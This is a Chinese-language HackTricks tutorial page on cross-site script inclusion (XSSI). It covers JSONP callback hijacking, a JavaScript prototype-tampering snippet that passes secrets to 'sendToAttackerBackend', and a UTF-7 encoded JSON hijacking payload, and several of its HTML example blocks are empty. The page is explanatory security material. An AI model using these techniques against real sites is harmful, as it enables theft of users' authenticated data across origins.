# XSSI(跨站脚本包含)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
#### 该信息来源于[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
## 基本信息
XSSI指的是一种利用了以下事实的漏洞:当使用`script`标签包含资源时,SOP(同源策略)不适用,因为脚本必须能够跨域进行包含。因此,攻击者可以通过使用`script`标签读取所有被包含的内容。
当涉及到动态JavaScript或JSONP时,这一点尤其有趣,因为这些情况下使用了所谓的环境权限信息,如cookies用于身份验证。当从不同的主机请求资源时,这些cookies会被包含进来。
### 类型
1. 静态JavaScript(常规XSSI)
2. 只有在身份验证后才能访问的静态JavaScript
3. 动态JavaScript
4. 非JavaScript
## 常规XSSI
私人信息位于全局可访问的JS文件中,你可以通过读取文件、搜索关键字或使用正则表达式来检测到这一点。\
要利用这个漏洞,只需在恶意内容中包含包含私人信息的脚本:
```markup
```
## 动态基于JavaScript的XSSI和经过身份验证的JavaScript XSSI
当用户请求脚本时,**会添加机密信息**。通过发送请求**带有和不带有cookies**,可以轻松发现这一点,如果检索到**不同的信息**,则可能包含机密信息。要自动执行此操作,可以使用Burp扩展:[https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)。
如果信息存在于全局变量中,您可以使用与前面情况相同的代码来利用它。\
如果机密数据在JSONP响应中发送,您可以覆盖执行的函数以检索信息:
```markup
```
或者你也可以设置一个预先准备好的函数来执行JSONP响应:
```markup
```
如果一个变量不在全局命名空间中,有时仍然可以利用_prototype篡改_来进行利用。原型篡改滥用了JavaScript的设计,即在解释代码时,JavaScript会遍历原型链以找到调用的属性。以下示例摘自论文[动态JavaScript的意外危险](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf),演示了如何覆盖类型为`Array`的相关函数并访问`this`,从而泄漏非全局变量。
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
在原始代码中,类型为`Array`的`slice`访问了我们感兴趣的数据。正如前面的部分所描述的,攻击者可以覆盖`slice`并窃取秘密信息。
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
安全研究员[Sebastian Lekies](https://twitter.com/slekies)最近更新了他的[攻击向量列表](http://sebastian-lekies.de/leak/)。
## 非脚本XSSI
Takeshi Terada在他的论文[基于标识符的XSSI攻击](https://www.mbsd.jp/Whitepaper/xssi.pdf)中描述了另一种类型的XSSI。他能够通过在`script`标签中包含CSV文件作为源文件,并使用数据作为变量和函数名来泄露跨源的非脚本文件。
第一个公开记录的XSSI攻击发生在2006年。Jeremiah Grossman的博客文章[使用GMail的高级Web攻击技术](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html)描述了一种XSSI攻击,通过覆盖`Array`构造函数,能够读取Google账户的完整通讯录。
2007年,Joe Walker发表了[JSON并不像人们想象的那样安全](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)。他使用了相同的思路来窃取嵌入在`Array`中的JSON数据。
其他相关攻击是通过将UTF-7编码的内容注入到JSON中来逃避JSON格式。这在Gareth Heyes的博客文章[JSON劫持](http://www.thespanner.co.uk/2011/05/30/json-hijacking/)中有描述,他是[Hackvertor](https://hackvertor.co.uk/public)的作者。在快速测试中,这在Microsoft Internet Explorer和Edge中仍然可行,但在Mozilla Firefox和Google Chrome中不可行。
带有UTF-7的JSON:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
将JSON包含在攻击者的页面中
```markup
```
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**